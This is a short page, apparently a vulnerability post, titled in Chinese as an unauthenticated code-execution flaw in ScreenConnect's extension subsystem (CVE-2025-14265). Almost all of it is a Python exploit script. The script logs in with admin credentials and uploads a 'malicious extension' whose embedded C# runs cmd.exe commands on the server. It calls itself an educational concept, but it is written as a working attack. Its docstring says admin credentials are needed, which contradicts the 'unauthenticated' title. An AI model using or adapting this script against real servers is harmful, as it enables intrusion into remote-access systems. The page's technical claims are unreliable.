CVE-2025-14265 ScreenConnect扩展子系统未授权代码执行漏洞

# CVE-2025-14265 ScreenConnect Extension Installation Exploit (Conceptual) # This is a conceptual PoC for educational and security testing purposes only import requests import json import base64 TARGET_URL = "https://target-screenconnect-server.com" API_ENDPOINT = f"{TARGET_URL}/Api/v1/Extension" # Malicious extension payload (base64 encoded) MALICIOUS_EXTENSION = """ <?xml version="1.0" encoding="utf-8"?> <Extension xmlns="http://www.screenconnect.com/Extension/2.0"> <Name>MaliciousExtension</Name> <Version>1.0.0</Version> <Publisher>Attacker</Publisher> <Description>Malicious extension for CVE-2025-14265</Description> <Code> using System; using System.Diagnostics; public class Exploit { public static void Execute() { // Arbitrary code execution Process.Start(new ProcessStartInfo("cmd.exe", "/c whoami")); } } </Code> </Extension> """ def exploit_cve_2025_14265(): """ Exploit for CVE-2025-14265: ScreenConnect Untrusted Extension Execution Requires valid administrator credentials """ session = requests.Session() # Step 1: Authenticate with admin credentials auth_data = { "Username": "admin", "Password": "admin_password" } auth_response = session.post(f"{TARGET_URL}/Api/v1/Login", json=auth_data) if auth_response.status_code != 200: print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Upload malicious extension headers = { "Content-Type": "application/octet-stream", "X-Extension-Name": "MaliciousExtension" } payload = base64.b64encode(MALICIOUS_EXTENSION.encode()).decode() upload_response = session.post( API_ENDPOINT, data=payload, headers=headers ) if upload_response.status_code == 200: print("[+] Malicious extension uploaded successfully") print("[*] CVE-2025-14265 exploited - arbitrary code execution achieved") return True else: print(f"[-] Extension upload failed: {upload_response.status_code}") return False if __name__ == "__main__": exploit_cve_2025_14265()